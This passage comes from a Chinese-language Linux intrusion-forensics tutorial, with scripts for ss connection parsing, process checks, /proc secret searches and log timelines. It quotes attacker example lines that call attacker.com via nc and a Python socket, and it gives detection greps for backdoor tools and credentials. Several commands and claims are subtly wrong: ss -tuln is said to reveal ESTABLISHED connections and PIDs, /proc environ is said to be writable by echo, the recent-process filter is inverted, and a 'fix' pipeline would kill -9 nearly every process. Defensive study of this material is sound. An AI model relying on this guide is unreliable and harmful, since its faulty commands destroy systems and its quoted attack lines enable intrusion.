       <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;\u65e0\u6cd5\u6267\u884css\u547d\u4ee4&#xff0c;\u8bf7\u68c0\u67e5\u6743\u9650&#034;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">return<\/span><\/p>\n<p>    connections <span class=\"token operator\">&#061;<\/span> collections<span class=\"token punctuation\">.<\/span>defaultdict<span class=\"token punctuation\">(<\/span><span class=\"token builtin\">list<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    <span class=\"token keyword\">for<\/span> line <span class=\"token keyword\">in<\/span> output<span class=\"token punctuation\">.<\/span>splitlines<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">[<\/span><span class=\"token number\">2<\/span><span class=\"token punctuation\">:<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">:<\/span>  <span class=\"token comment\"># \u8df3\u8fc7\u5934\u90e8<\/span><br \/>\n        parts <span class=\"token operator\">&#061;<\/span> line<span class=\"token punctuation\">.<\/span>split<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">if<\/span> <span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>parts<span class=\"token punctuation\">)<\/span> <span class=\"token operator\">&lt;<\/span> <span class=\"token number\">5<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">continue<\/span><br \/>\n        state <span class=\"token operator\">&#061;<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">]<\/span><br \/>\n        local <span class=\"token operator\">&#061;<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>split<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;:&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">[<\/span><span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token keyword\">if<\/span> <span class=\"token string\">&#039;:&#039;<\/span> <span class=\"token keyword\">in<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token keyword\">else<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">]<\/span><br \/>\n        foreign <span class=\"token operator\">&#061;<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token number\">4<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>split<span class=\"token punctuation\">(<\/span><span class=\"token string\">&#039;:&#039;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">[<\/span><span class=\"token operator\">&#8211;<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token keyword\">if<\/span> <span class=\"token string\">&#039;:&#039;<\/span> <span class=\"token keyword\">in<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token number\">4<\/span><span class=\"token punctuation\">]<\/span> <span class=\"token keyword\">else<\/span> parts<span class=\"token punctuation\">[<\/span><span class=\"token number\">4<\/span><span class=\"token punctuation\">]<\/span><br \/>\n        pid <span class=\"token operator\">&#061;<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#039;pid&#061;(\\\\d&#043;)&#039;<\/span><span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">)<\/span><br \/>\n        pid_str <span class=\"token operator\">&#061;<\/span> pid<span class=\"token punctuation\">.<\/span>group<span class=\"token punctuation\">(<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">if<\/span> pid <span class=\"token keyword\">else<\/span> <span class=\"token string\">&#039;N\/A&#039;<\/span><br \/>\n        connections<span class=\"token punctuation\">[<\/span>state<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">.<\/span>append<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Local: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>local<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">, Foreign: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>foreign<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">, PID: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>pid_str<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token keyword\">for<\/span> state<span class=\"token punctuation\">,<\/span> conns <span class=\"token keyword\">in<\/span> <span class=\"token builtin\">sorted<\/span><span class=\"token punctuation\">(<\/span>connections<span class=\"token punctuation\">.<\/span>items<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;\\\\n<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>state<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">\u8fde\u63a5 (<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token builtin\">len<\/span><span class=\"token punctuation\">(<\/span>conns<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">\u6761):&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">for<\/span> conn <span class=\"token keyword\">in<\/span> conns<span class=\"token punctuation\">[<\/span><span class=\"token punctuation\">:<\/span><span class=\"token number\">10<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">:<\/span>  <span class=\"token comment\"># \u9650\u5236\u8f93\u51fa<\/span><br \/>\n            <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;  &#8211; <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>conn<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p><span class=\"token keyword\">if<\/span> __name__ <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#034;__main__&#034;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    parse_ss_output<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>\u6b64\u811a\u672c\u4f7f\u7528subprocess\u6267\u884css -tuln&#xff0c;\u6b63\u5219\u63d0\u53d6PID&#xff0c;\u5e76\u6309\u8fde\u63a5\u72b6\u6001\u5206\u7ec4\u8f93\u51fa\u3002\u5b9e\u6218\u4e2d\u53d1\u73b0\u5f02\u5e38ESTABLISHED\u8fde\u63a5\u6307\u5411\u5916\u90e8IP&#xff08;\u598254.245.61.23:443&#xff09;&#xff0c;\u53ef\u8fdb\u4e00\u6b65\u901a\u8fc7netstat -p\u786e\u8ba4\u5173\u8054\u8fdb\u7a0b&#xff08;\u5982\/usr\/bin\/python3 -c &#039;import socket; &#8230;&#039;\u53cd\u5411Shell&#xff09;\u3002\u6b64\u4ee3\u7801\u907f\u514d\u91cd\u590d\u8f93\u51fa&#xff0c;\u9002\u7528\u4e8e\u65e5\u5fd7\u4fdd\u5b58\u5230CSV\u4ee5\u4fbf\u540e\u7eed\u53ef\u89c6\u5316\u3002<\/p>\n<h4>ss\u547d\u4ee4\u5e95\u5c42\u539f\u7406\u4e0e\u8fdb\u9636\u7528\u6cd5<\/h4>\n<p>ss -tuln\u57fa\u4e8enetlink\u63a5\u53e3\u76f4\u63a5\u67e5\u8be2\u5185\u6838TCP\/UDP\u6808&#xff0c;\u6bd4netstat\u66f4\u5feb\u3002\u5b83\u663e\u793a\u72b6\u6001\u5982ESTABLISHED&#xff08;\u5df2\u5efa\u7acb&#xff09;\u3001LISTEN&#xff08;\u76d1\u542c&#xff09;\u3001TIME-WAIT\u7b49\u3002\u8f93\u51fa\u683c\u5f0f\u4e3aNetid State Recv-Q Send-Q Local Address:Port Peer Address:Port&#xff0c;PID\u901a\u8fc7ss -l -p\u6216\u7ed3\u5408ss -tuln | grep LISTEN\u5173\u8054\u3002\u5b9e\u6218\u4e2d&#xff0c;\u653b\u51fb\u8005\u5e38\u7528nc\u5de5\u5177&#xff08;\u5982nc -lvp 4444\u76d1\u542c\u53cd\u5411Shell&#xff0c;\u6216nc attacker.com 4444\u53d1\u8d77&#xff09;\u5efa\u7acb\u8fde\u63a5\u3002Python\u811a\u672c\u901a\u8fc7subprocess.check_output\u6355\u83b7\u8f93\u51fa&#xff0c;\u5229\u7528collections.defaultdict\u805a\u5408&#xff0c;\u907f\u514d\u624b\u52a8\u6392\u5e8f\u5f00\u9500\u3002<\/p>\n<p>\u6269\u5c55\u5b9e\u6218\u6848\u4f8b&#xff1a;\u53d1\u73b0ESTABLISHED\u8fde\u63a5\u5230203.0.113.7:80&#xff08;\u5e38\u89c1CNC IP&#xff09;\u3002\u811a\u672c\u8f93\u51fa\u540e&#xff0c;netstat -anp | grep 80\u786e\u8ba4PID 12345\u4e3a\/usr\/bin\/python3 -c &#039;import socket; s&#061;socket.socket(); s.connect((&#034;attacker.com&#034;,80)); s.send(b&#034;hello&#034;)&#039;\u3002\u9694\u79bb&#xff1a;ss -tuln | grep 203.0.113.7 | awk &#039;{print $5}&#039; | cut -d: -f1 | xargs -I {} iptables -A INPUT -s {} -j DROP\u3002<\/p>\n<p>\u8e29\u5751\u4e0e\u4f18\u5316&#xff1a;<\/p>\n<ul>\n<li>\u95ee\u9898&#xff1a;ss\u6743\u9650\u4e0d\u8db3\u5bfc\u81f4\u6743\u9650\u9519\u8bef\u3002\u89e3\u51b3\u65b9\u6848&#xff1a;sudo ss -tuln\u6216\u4ee5root\u8fd0\u884c\u3002<\/li>\n<li>\u5e38\u89c1\u95ee\u9898&#xff1a;\u8f93\u51fa\u4e2dLocal\/Foreign\u7aef\u53e3\u672a\u6b63\u786e\u63d0\u53d6&#xff08;IPv6\u683c\u5f0f&#xff09;\u3002\u4f7f\u7528awk -F: &#039;{print $NF}&#039;\u6216\u6b63\u5219grep -oE &#039;[0-9]&#043;\\\\.[0-9]&#043;\\\\.[0-9]&#043;\\\\.[0-9]&#043;:[0-9]&#043;&#039;\u3002<\/li>\n<li>\u4f18\u5316&#xff1a;\u96c6\u6210timeout 5s ss -tuln\u9632\u6b62\u65e0\u9650\u963b\u585e&#xff1b;\u4fdd\u5b58\u5230CSV&#xff1a;ss -tuln &gt; network.log &amp;&amp; python3 analyze.py network.log\u4fbf\u4e8e\u540e\u7eedELK\u5206\u6790\u3002<\/li>\n<\/ul>\n<h3>\u53ef\u7591\u8fdb\u7a0b\u4e0e\u670d\u52a1\u5206\u6790<\/h3>\n<p>\u5165\u4fb5\u8005\u5e38\u542f\u52a8\u6301\u4e45\u5316\u540e\u95e8&#xff0c;\u5982nc\u53cd\u5411\u8fde\u63a5\u3001\u5b9a\u65f6\u6267\u884c\/tmp\/.evil.sh\u6216\u9690\u85cf\u8fdb\u7a0b\u3002<\/p>\n<p>\u5206\u6790\u6b65\u9aa4&#xff1a;<\/p>\n<li>ps auxww | grep -v &#039;grep&#039;&#xff1a;\u5168\u91cf\u8fdb\u7a0b\u6811\u3002<\/li>\n<li>top -b -n 1 | head -20&#xff1a;\u8d44\u6e90\u5360\u7528\u6392\u5e8f&#xff08;CPU\/MEM\u9ad8&#xff09;\u3002<\/li>\n<li>ls -la \/proc\/$(pgrep suspicious)\/&#xff1a;\u68c0\u67e5\u9690\u85cf\u6587\u4ef6\u3002<\/li>\n<p>Shell\u4ee3\u7801\u793a\u4f8b3&#xff08;\u8d44\u6e90\u5360\u7528\u4e0e\u53ef\u7591\u8fdb\u7a0b\u5173\u8054\u5206\u6790&#xff09;&#xff1a;<\/p>\n<p><span class=\"token shebang important\">#!\/bin\/bash<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token string\">&#034;&#061;&#061;&#061; \u9ad8CPU\u8fdb\u7a0b &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">ps<\/span> aux <span class=\"token parameter variable\">&#8211;sort<\/span><span class=\"token operator\">&#061;<\/span>-%cpu <span class=\"token operator\">|<\/span> <span class=\"token function\">head<\/span> <span class=\"token parameter variable\">-n<\/span> <span class=\"token number\">15<\/span><br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token parameter variable\">-e<\/span> <span class=\"token string\">&#034;<span class=\"token entity\" title=\"\\\\n\">\\\\n<\/span>&#061;&#061;&#061; \u7f51\u7edc\u76d1\u542c\u7aef\u53e3 &#061;&#061;&#061;&#034;<\/span><br \/>\nss <span class=\"token parameter variable\">-tuln<\/span> <span class=\"token operator\">|<\/span> <span class=\"token function\">grep<\/span> LISTEN<br \/>\n<span class=\"token builtin class-name\">echo<\/span> <span class=\"token parameter variable\">-e<\/span> <span class=\"token string\">&#034;<span class=\"token entity\" title=\"\\\\n\">\\\\n<\/span>&#061;&#061;&#061; \u6700\u8fd1\u542f\u52a8\u7684\u8fdb\u7a0b&#xff08;last 5min&#xff09; &#061;&#061;&#061;&#034;<\/span><br \/>\n<span class=\"token function\">ps<\/span> <span class=\"token parameter variable\">-eo<\/span> pid,ppid,cmd,etime <span class=\"token operator\">|<\/span> <span class=\"token function\">awk<\/span> <span class=\"token string\">&#039;$4 &gt; 300&#039;<\/span><\/p>\n<p>\u7ed3\u5408journalctl -u nginx &#8211;since &#034;5 min ago&#034;\u8ffd\u8e2a\u7cfb\u7edf\u670d\u52a1\u5f02\u5e38\u542f\u52a8\u3002\u53d1\u73b0\/usr\/sbin\/dropbear&#xff08;\u540e\u95e8SSH\u670d\u52a1\u5668&#xff09;\u65f6&#xff0c;\u7acb\u5373ps -p 1234 -o user&#061; | xargs kill -9\u7ec8\u6b62&#xff0c;\u5e76\u68c0\u67e5\/etc\/rc.local\u6216crontab -l\u3002<\/p>\n<h4>\u8fdb\u7a0b\u5206\u6790\u6df1\u5ea6<\/h4>\n<p>ps auxww\u663e\u793a\u6240\u6709\u7528\u6237\u8fdb\u7a0b&#xff0c;-ww\u9632\u6b62\u547d\u4ee4\u884c\u622a\u65ad\u3002\u7ed3\u5408&#8211;sort&#061;-%cpu\u6309CPU\u964d\u5e8f&#xff0c;\u5feb\u901f\u5b9a\u4f4d\u5f02\u5e38\u9ad8\u5360\u7528&#xff08;\u5982\u6316\u77ff\u8fdb\u7a0b&#xff09;\u3002ps -eo pid,ppid,cmd,etime\u5217\u51fa\u8fc7\u53bb300\u79d2\u542f\u52a8\u7684\u8fdb\u7a0b&#xff0c;etime &gt;300\u79d2\u8868\u660e\u53ef\u80fd\u4e3a\u540e\u95e8&#xff08;\u672a\u88ab\u53ca\u65f6\u7ec8\u6b62&#xff09;\u3002\/proc\u76ee\u5f55\u662f\u5185\u6838\u66b4\u9732\u7684\u7528\u6237\u7a7a\u95f4\u89c6\u56fe&#xff0c;\u6bcf\u4e2aPID\u5bf9\u5e94\u4e00\u4e2a\u76ee\u5f55&#xff0c;\u5305\u542b\/proc\/PID\/cmdline&#xff08;\u547d\u4ee4\u884c\u53c2\u6570&#xff09;\u3001\/proc\/PID\/environ&#xff08;\u73af\u5883\u53d8\u91cf&#xff0c;\u53ef\u641c\u7d22\u5bc6\u94a5&#xff09;\u3002<\/p>\n<p>\u6269\u5c55\u5b9e\u6218\u6848\u4f8b&#xff1a;ps aux &#8211;sort&#061;-%cpu | head -n 15\u663e\u793aPID 8888\u5360\u752899% CPU&#xff0c;\u547d\u4ee4\/tmp\/.miner.sh\u3002\u68c0\u67e5\/proc\/8888\/cmdline\u786e\u8ba4\u540e\u95e8&#xff1b;\u7ec8\u6b62\u7528kill -9 8888\u6216pkill -9 miner\u3002\u7ed3\u5408top -b -n 1\u9a8c\u8bc1\u8d44\u6e90\u91ca\u653e\u3002<\/p>\n<p>\u8e29\u5751\u4e0e\u4f18\u5316&#xff1a;<\/p>\n<ul>\n<li>\u95ee\u9898&#xff1a;ps\u8f93\u51fa\u8fc7\u6ee4\u540egrep\u9057\u6f0f\u3002\u4f7f\u7528ps aux | grep -v &#039;grep&#039; | awk &#039;{print $2}&#039; | xargs kill -9\u3002<\/li>\n<li>\u5e38\u89c1\u95ee\u9898&#xff1a;\u670d\u52a1\u542f\u52a8\u5f02\u5e38\u3002\u89e3\u51b3\u65b9\u6848&#xff1a;journalctl -u myservice &#8211;since &#034;1 hour ago&#034; &#8211;no-pager\u67e5\u770bsystemd\u65e5\u5fd7\u3002<\/li>\n<li>\u4f18\u5316&#xff1a;ps -ef | grep -E &#039;nc|python|sh$&#039;\u641c\u7d22\u5e38\u89c1\u540e\u95e8\u5de5\u5177&#xff1b;\u4f7f\u7528htop\u66ff\u4ee3top\u83b7\u53d6\u4ea4\u4e92\u5f0f\u8fdb\u7a0b\u6811\u3002<\/li>\n<\/ul>\n<h3>\u6587\u4ef6\u7cfb\u7edf\u5b8c\u6574\u6027\u4e0e\u5185\u5b58\u53d6\u8bc1<\/h3>\n<p>\u4f7f\u7528chkrootkit\u3001rkhunter\u626b\u63cf\u5e38\u89c1\u540e\u95e8&#xff1a;<\/p>\n<p><span class=\"token function\">sudo<\/span> <span class=\"token function\">apt<\/span> <span class=\"token function\">install<\/span> chkrootkit  <span class=\"token comment\"># Debian\/Ubuntu<\/span><br \/>\nchkrootkit<\/p>\n<p>rkhunter\u7c7b\u4f3c\u3002<\/p>\n<p>\u5185\u5b58\u53d6\u8bc1&#xff1a;<\/p>\n<ul>\n<li>volatility3&#xff1a;Linux profile\u5206\u6790&#xff08;pslist\u5b9a\u4f4d\u8fdb\u7a0b&#xff09;\u3002<\/li>\n<li>mdfind\u6216grep -r \/proc\/*\u641c\u7d22\u654f\u611f\u5b57\u7b26\u4e32&#xff08;\u5982\u9690\u85cf\u5bc6\u94a5&#xff09;\u3002<\/li>\n<\/ul>\n<p>Python\u4ee3\u7801\u793a\u4f8b4&#xff08;\u57fa\u4e8e\/proc\u7684\u5185\u5b58\u654f\u611f\u5b57\u7b26\u4e32\u641c\u7d22&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\">#!\/usr\/bin\/env python3<\/span><br \/>\n<span class=\"token keyword\">import<\/span> os<br \/>\n<span class=\"token keyword\">import<\/span> re<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">search_sensitive_in_proc<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    patterns <span class=\"token operator\">&#061;<\/span> <span class=\"token punctuation\">[<\/span><span class=\"token string\">b&#039;password&#039;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#039;key&#039;<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">b&#039;ssh_private_key&#039;<\/span><span class=\"token punctuation\">]<\/span><br \/>\n    proc_dir <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#039;\/proc&#039;<\/span><br \/>\n    <span class=\"token keyword\">for<\/span> pid <span class=\"token keyword\">in<\/span> os<span class=\"token punctuation\">.<\/span>listdir<span class=\"token punctuation\">(<\/span>proc_dir<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token keyword\">try<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            pid <span class=\"token operator\">&#061;<\/span> <span class=\"token builtin\">int<\/span><span class=\"token punctuation\">(<\/span>pid<span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">for<\/span> f <span class=\"token keyword\">in<\/span> os<span class=\"token punctuation\">.<\/span>listdir<span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#039;\/proc\/<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>pid<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">\/&#039;<\/span><\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                <span class=\"token keyword\">if<\/span> f <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#039;cmdline&#039;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                    <span class=\"token keyword\">with<\/span> <span class=\"token builtin\">open<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#039;\/proc\/<\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>pid<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">\/cmdline&#039;<\/span><\/span><span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;rb&#039;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">as<\/span> fd<span class=\"token punctuation\">:<\/span><br \/>\n                        content <span class=\"token operator\">&#061;<\/span> fd<span class=\"token punctuation\">.<\/span>read<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n                        <span class=\"token keyword\">for<\/span> pat <span class=\"token keyword\">in<\/span> patterns<span class=\"token punctuation\">:<\/span><br \/>\n                            <span class=\"token keyword\">if<\/span> re<span class=\"token punctuation\">.<\/span>search<span class=\"token punctuation\">(<\/span>pat<span class=\"token punctuation\">,<\/span> content<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                                <span class=\"token keyword\">print<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string-interpolation\"><span class=\"token string\">f&#034;Suspicious in PID <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>pid<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">: <\/span><span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span>content<span class=\"token punctuation\">}<\/span><\/span><span class=\"token string\">&#034;<\/span><\/span><span class=\"token punctuation\">)<\/span><br \/>\n        <span class=\"token keyword\">except<\/span> ValueError<span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">continue<\/span>  <span class=\"token comment\"># \u975e\u6570\u5b57PID\u8df3\u8fc7<\/span><\/p>\n<p><span class=\"token keyword\">if<\/span> __name__ <span class=\"token operator\">&#061;&#061;<\/span> <span class=\"token string\">&#034;__main__&#034;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    search_sensitive_in_proc<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>\u6b64\u811a\u672c\u904d\u5386\/proc\u76ee\u5f55&#xff0c;\u641c\u7d22\u4e8c\u8fdb\u5236\u6a21\u5f0f&#xff0c;\u8f93\u51fa\u53ef\u7591PID\u3002\u5b9e\u6218\u4e2d\u53d1\u73b0\u9690\u85cf\u7684\u6316\u77ff\u8fdb\u7a0b&#xff0c;\u7ed3\u5408ps -p PID -o comm&#061;\u786e\u8ba4\u3002<\/p>\n<h4>\u5185\u5b58\u53d6\u8bc1\u539f\u7406<\/h4>\n<p>\/proc\u662f\u5185\u6838\u4e0e\u7528\u6237\u7a7a\u95f4\u901a\u4fe1\u7684\u865a\u62df\u6587\u4ef6\u7cfb\u7edf&#xff0c;cmdline\u4fdd\u5b58\u542f\u52a8\u53c2\u6570&#xff0c;environ\u4fdd\u5b58\u73af\u5883\u53d8\u91cf\u3002\u653b\u51fb\u8005\u5e38\u901a\u8fc7echo &#039;key&#061;evil&#039; &gt; \/proc\/PID\/environ\u9690\u85cf\u654f\u611f\u4fe1\u606f\u3002grep -r \/proc\/*\/environ -E &#039;password|key&#039;\u53ef\u641c\u7d22\u3002volatility3\u4f7f\u7528Linux profile&#xff08;\u5982linux-5.10&#xff09;\u89e3\u6790pslist\u547d\u4ee4\u83b7\u53d6\u8fdb\u7a0b\u5217\u8868&#xff0c;\u7ed3\u5408netscan\u67e5\u770b\u7f51\u7edc\u8fde\u63a5\u3002<\/p>\n<p>\u6269\u5c55\u5b9e\u6218\u6848\u4f8b&#xff1a;grep -r \/proc\/* -E &#039;password|ssh_private_key&#039;\u53d1\u73b0PID 9999\u73af\u5883\u53d8\u91cf\u542bapi_key&#061;supersecret&#xff0c;\u786e\u8ba4\u540e\u95e8\u3002<\/p>\n<p>\u8e29\u5751\u4e0e\u4f18\u5316&#xff1a;<\/p>\n<ul>\n<li>\u95ee\u9898&#xff1a;\/proc\u6743\u9650\u95ee\u9898\u5bfc\u81f4Permission denied\u3002\u89e3\u51b3\u65b9\u6848&#xff1a;\u5728\u9694\u79bb\u6a21\u5f0f\u4e0b\u8fd0\u884c&#xff0c;\u6216\u4f7f\u7528sudo find \/proc -name cmdline -exec grep -lE &#039;key&#039; {} \\\\;\u3002<\/li>\n<li>\u5e38\u89c1\u95ee\u9898&#xff1a;\u654f\u611f\u6587\u4ef6\u4e0d\u5728\/proc\u3002\u4f7f\u7528grep -r \/var\/log -E &#039;password&#039;\u7ed3\u5408strings\u63d0\u53d6\u4e8c\u8fdb\u5236\u6587\u4ef6\u3002<\/li>\n<\/ul>\n<h3>\u6eaf\u6e90\u4e0e\u65f6\u95f4\u7ebf\u6784\u5efa<\/h3>\n<p>\u6784\u5efa\u5b8c\u6574\u6eaf\u6e90\u94fe\u8def\u81f3\u5173\u91cd\u8981\u3002\u6b65\u9aa4&#xff1a;<\/p>\n<li>\u63d0\u53d6\u5173\u952e\u65e5\u5fd7&#xff08;auth\u3001syslog\u3001audit.log&#xff09;\u3002<\/li>\n<li>\u7edf\u4e00\u65f6\u95f4\u6233&#xff08;\u4f7f\u7528date -d\u8f6c\u6362&#xff09;\u3002<\/li>\n<li>\u6392\u5e8f\u4e8b\u4ef6&#xff1a;\u5165\u4fb5\u8d77\u59cb\u2192\u6a2a\u5411\u79fb\u52a8\u2192\u540e\u95e8\u690d\u5165\u3002<\/li>\n<li>\u5173\u8054IP\u3001\u8fdb\u7a0b\u3001\u6587\u4ef6\u3002<\/li>\n<p>Python\u4ee3\u7801\u793a\u4f8b5&#xff08;\u65e5\u5fd7\u65f6\u95f4\u7ebf\u89e3\u6790\u4e0e\u6392\u5e8f&#xff09;&#xff1a;<\/p>\n<p><span class=\"token comment\">#!\/usr\/bin\/env python3<\/span><br \/>\n<span class=\"token keyword\">import<\/span> re<br \/>\n<span class=\"token keyword\">from<\/span> datetime <span class=\"token keyword\">import<\/span> datetime<br \/>\n<span class=\"token keyword\">from<\/span> collections <span class=\"token keyword\">import<\/span> deque<\/p>\n<p><span class=\"token keyword\">def<\/span> <span class=\"token function\">parse_log_to_timeline<\/span><span class=\"token punctuation\">(<\/span>log_file<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">:<\/span><br \/>\n    timeline <span class=\"token operator\">&#061;<\/span> deque<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><br \/>\n    pattern <span class=\"token operator\">&#061;<\/span> re<span class=\"token punctuation\">.<\/span><span class=\"token builtin\">compile<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">r&#039;(\\\\w{3} \\\\d{2} \\\\d{2}:\\\\d{2}:\\\\d{2}) .*&#039;<\/span><span class=\"token punctuation\">)<\/span><\/p>\n<p>    <span class=\"token keyword\">with<\/span> <span class=\"token builtin\">open<\/span><span class=\"token punctuation\">(<\/span>log_file<span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;r&#039;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token keyword\">as<\/span> f<span class=\"token punctuation\">:<\/span><br \/>\n        <span class=\"token keyword\">for<\/span> line <span class=\"token keyword\">in<\/span> f<span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">match<\/span> <span class=\"token operator\">&#061;<\/span> pattern<span class=\"token punctuation\">.<\/span><span class=\"token keyword\">match<\/span><span class=\"token punctuation\">(<\/span>line<span class=\"token punctuation\">)<\/span><br \/>\n            <span class=\"token keyword\">if<\/span> <span class=\"token keyword\">match<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                ts_str <span class=\"token operator\">&#061;<\/span> <span class=\"token keyword\">match<\/span><span class=\"token punctuation\">.<\/span>group<span class=\"token punctuation\">(<\/span><span class=\"token number\">1<\/span><span class=\"token punctuation\">)<\/span><br \/>\n                <span class=\"token keyword\">try<\/span><span class=\"token punctuation\">:<\/span><br \/>\n                    ts <span class=\"token operator\">&#061;<\/span> datetime<span class=\"token punctuation\">.<\/span>strptime<span class=\"token punctuation\">(<\/span>ts_str<span class=\"token punctuation\">,<\/span> <span class=\"token string\">&#039;%b %d %H:%M:%S&#039;<\/span><span class=\"token punctuation\">)<\/span><br \/>\n                    timeline<span class=\"token punctuation\">.<\/span>append<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">(<\/span>ts<span class=\"token punctuation\">,<\/span> line<span class=\"token punctuation\">.<\/span>strip<span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><br \/>\n                <span class=\"token keyword\">except<\/span> ValueError<span class=\"token punctuation\">:<\/span><br \/>\n                    <span class=\"token keyword\">continue<\/span><\/p>\n<p>    <span class=\"token comment\"># \u6392\u5e8f\u65f6\u95f4\u7ebf<\/span><br \/>\n    timeline <span class=\"token operator\">&#061;<\/span> <span class=\"token builtin\">sorted<\/span><span class=\"token punctuation\">(<\/span>timeline<span class=\"token punctuation\">,<\/span> key<span class=\"token operator\">&#061;<\/span><span class=\"token keyword\">lambda<\/span> x<span class=\"token punctuation\">:<\/span> x<span class=\"token 